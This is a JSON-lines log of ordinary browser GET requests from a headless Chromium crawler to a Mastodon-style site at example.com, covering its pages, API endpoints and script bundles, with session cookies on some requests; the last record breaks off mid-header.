{"method": "GET", "target": "/api/v1/instance/extended_description", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/react-spring_web.modern-C6ohYUSs.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/useAccount-JT03O9Xk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/add-B5d0-_pA.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/public/local", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/alternate_email-CGhoCIc4.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/use_fetch_familiar_followers-RmTfxbbk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/public?local=true&only_media=false", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/@admin", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/collection_preview_card-DpSW2KW7.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/skip_links-BaPrB3L_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/block-Dj44I8vY.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/directory?order=active&local=true&limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/privacy-policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/dist-CIbpS4C0.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/more_horiz-Cw-tO3hE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/roboto-medium-webfont-BrZc3cua.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/privacy_policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/auth/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=l4Lwoj0nimDxQwHldqeE%2BPPAw3285xl9sBYXqM%2FdWW3TqvOvgSpLSbVO5qu1hHU6w8EWpBX1T40XffQeFH8QRAzeQkJYypURndjIE%2FKYs4zwmnD4mfqNWFiJl4VlhV%2Bdo4E6%2FNqzrZnyHiib1hgq2wNW5wo3YlOkPEBZ5JNuuWBWjLysghvHBXwY2Y9bgIQYyAb6RmygeUWGBoPpvotNU4ufoXtZkmyVUNY2OLXyNE9N4wp81SdsipS7FbLDurlgm%2B7nr4NtPm6BJSTwdqKFDsF1gDDxwN%2Bb39LZbY0rNJDfqEXNSjBQALON8ftB15l5xM69Zei9YQa8MdKhi2hKIe3KFFzCEjWv%2B%2BbSRgS8ej2ZjEnpp3a6hD3OFruKg9Pe6DYQGjgR%2FlxxDU186KvssSja5o7DGcY7Vxq10%2F2rmIEnQh7bAFJOU0Nc1LCYz0s4TIUxzpB%2Bo3Nk--JfoicU1CsbrXhd%2BK--sbY69PRXh2DQ6wrhk7eIgA%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=T6vV7m4VPpBCRmR4Kxf0H58KC2eM0qu3kr%2FtUtM78EUir2IestUb%2FO%2BDwaeTFuiATNySVGyutbCVsp%2BKuQ95gdytF17HvdTKFFif7GVtQs3dnm7oTgk6AR56VYkQ71Cs90%2BI5IHn8uw5ok900QnVVvlaZ5hPmKD9LoMZTEw34EFG0Rog%2FAPV7Dg7nVndfuT8yRVDdJHLCc%2Fu3aqf%2FtBdC85IOGhqJFEPnSvGigLRkT0pvdDXPUWu4NOqYTPDu9gauO0bbgCSOc5ABSCKoOlR3G%2FE%2BizOM1lG2Q%3D%3D--MtDgty1ilcIMYJDP--Aje3yrIKjiRXza5GKGrbFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/intl/en-DcquEjBE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/helmet-C5cFHKKR.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/permissions-Dkwe-SYl.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 